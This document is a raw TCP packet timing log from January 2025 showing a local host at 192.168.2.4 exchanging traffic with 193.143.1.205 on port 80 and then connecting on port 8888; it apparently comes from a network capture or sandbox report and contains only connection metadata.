Jan 10, 2025 14:54:13.592641115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592660904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592706919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592710018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592741013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592788935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592792034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592820883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592852116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592861891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592884064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592915058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592932940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.592962027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.592993975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593003035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593025923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593058109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593080044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593090057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593122959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593144894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593170881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593202114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593210936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593234062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593265057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593272924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593297005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593332052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593342066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593364000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593394995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593403101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593426943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593460083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593467951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.593508005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.593554974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.600851059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.612685919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614315987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614387035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614437103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614439964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614475965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614515066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614521980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614567041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614594936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614609003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614631891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614672899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614681959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614713907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614758968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614762068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614798069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614841938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614847898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614881039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614912987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.614924908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.614944935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615032911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615046978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.615065098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615097046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615112066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.615128994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615160942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.615174055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.619409084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.619462013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.631966114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.631994963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632028103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632051945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632060051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632092953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632105112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632205009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632236004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632251978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632292032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632338047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632344007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632394075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632431984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632442951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632473946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632504940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632520914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632555008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632586956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632601023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.632620096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.632663965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.637237072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637304068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637339115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637361050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.637372971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637408018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637412071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.637440920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637475967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637485027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.637511015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.637554884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.660620928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660676003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660712957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660725117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.660744905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660794973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660804033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.660826921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660860062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660867929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.660892010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660929918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.660942078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.660969973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661009073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.661016941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661050081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661082029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661091089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.661113977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661145926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.661153078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678500891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678584099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678585052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678596020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678627014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678716898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678726912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678736925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678775072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678809881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678839922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678845882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678848982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.678879023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.678993940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679028034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679039001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679074049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679110050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679121971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679132938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679143906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679151058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679179907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679241896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679253101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679263115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679272890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679284096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679296970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679375887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679385900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679402113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679439068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679461002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679462910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679471970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679482937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679508924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679606915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679617882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679627895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679640055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679650068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679656982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679666996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679677963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679681063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679702044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679718018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679857016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679867983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679877996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679888010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679898024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679900885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679908991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679919958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679919958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679930925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679943085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.679949045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.679970026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680124998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680135965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680145979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680155993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680166960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680166960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680176973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680188894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680198908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680234909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680262089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680273056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680282116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680305004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680325985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680337906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680347919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680358887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680367947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680417061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680535078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680546045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680557013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680572987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680603027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680712938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680722952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680733919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680743933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680752993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680753946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680766106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.680790901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.680814981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.685616970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.689230919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.701843023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701865911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701874971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701884985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701898098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701953888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.701978922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.701991081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702002048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702007055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702023983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702045918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702045918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702088118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702122927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702184916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702204943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702215910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702228069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702239037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702239990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702251911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702260017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702290058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702320099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702332020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702342033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702377081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702387094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702398062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702403069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702425957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.702440023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.702445984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.719789982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719801903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719818115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719830036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719841003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719847918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.719852924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719881058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.719887018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.719927073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.719939947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724534035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724544048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724555969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724586964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.724602938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724613905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724615097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.724623919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724666119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.724701881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724735022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.724742889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.747956991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748016119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748089075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748099089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748111963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748122931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748133898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748143911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748146057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748156071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748164892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748183966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748219967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748229027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748239040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748249054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748254061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748269081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748339891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748349905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748361111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748372078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748373985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748384953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.748390913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.748420000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.766135931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766148090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766159058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766164064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766174078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766184092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766196012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766206026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766227961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.766263008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.766382933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766400099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766410112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766443968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.766453028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766462088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766489983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.766511917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766522884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:13.766544104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:13.803116083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:14.204721928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:14.821240902 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:14.826155901 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 14:54:14.826271057 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 14:54:14.827104092 CET	49731	8888	192.168.2.4	193.143.1.205
